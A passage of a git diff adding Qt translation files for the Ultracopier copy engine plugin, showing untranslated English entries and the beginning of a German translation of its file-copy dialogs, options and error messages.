+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/de/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/de/translation.ts
new file mode 100644
index 0000000..2952152
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/de/translation.ts
@@ -0,0 +1,1294 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="de" sourcelanguage="en">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>Auf dieser Plattform nicht unterstützt</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>Datum der letzten Änderung ist falsch</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translatorcomment> </translatorcomment>
+ <translation>Datum des letzten Zugriffs ist falsch</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation>Unbekannter Fehler: %1</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation>Unbekannter Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation>Pfad Konvertierungsfehler</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation>Verschiebemodus - Sie können nicht kopieren</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation>Kopiermodus - Sie können nicht verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation>Ziel</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation>Aktuelles Ziel: &quot;%1&quot; benutzen?</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation>Der Modus wurde vorher erzwungen. Interner Fehler - Bitte bei mir melden! </translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation>Fragen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation>Überspringen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation>Fusionieren</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation>Umbenennen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation>Ans Ende verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation>Überschreiben</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation>Überschreiben, falls verschieden</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation>Überschreiben, falls neuer</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation>Überschreiben, falls älter</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation>Automatisch</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation>Sequentiell</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation>Parallel</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation>Fehlerhafte Optionen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>Optionen nicht geladen - Kein Zugriff auf Filter</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation>Fragen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation>Überspringen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation>Fusionieren</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation>Umbenennen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation>Ans Ende verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation>Überschreiben</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation>Überschreiben, falls verschieden</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation>Überschreiben, falls neuer</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation>Überschreiben, falls älter</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation>Automatisch</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation>Sequentiell</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation>Parallel</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation>Fehlerhafte Optionen</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>Option nicht geladen - Kein Zugriff auf Filter</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation>Option nicht geladen - Kann nicht auf Filter zugreifen</translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation>Speicherplatz</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation>Zu wenig Speicherplatz auf diesem Laufwerk</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation>Fortsetzen</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation>Abbrechen</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation>Laufwerk %1: %2 verfügbar %3 benötigt</translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation>Ordnerfehler</translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation>Ordnername</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation>%1 - Kopie</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - Kopie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation>Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation>Versuche Umbenennung mit Sonderzeichen</translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation>%1 - kopieren</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - kopieren (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation>Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation>Versuche Umbenennung mit Sonderzeichen</translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation>Suche:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation>Suche (Typ):</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation>Roh-Text</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation>Vereinfachte RegEx</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perls RegEx</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation>Anwenden auf:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation>Datei</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation>Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation>Datei und Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation>Die Test-Zeichenfolge stimmt mit RegEx überein</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation>Überprüfen</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation>Test-Zeichenfolge:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation>Filter-Dialog</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation>Ganze Zeichenfolge muss übereinstimmen</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation>Die RegEx ist gültig</translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation>Filter</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation>Ausschließungs-Filter</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation>Einschließungs-Filter</translation>
+ </message>
+ <message>
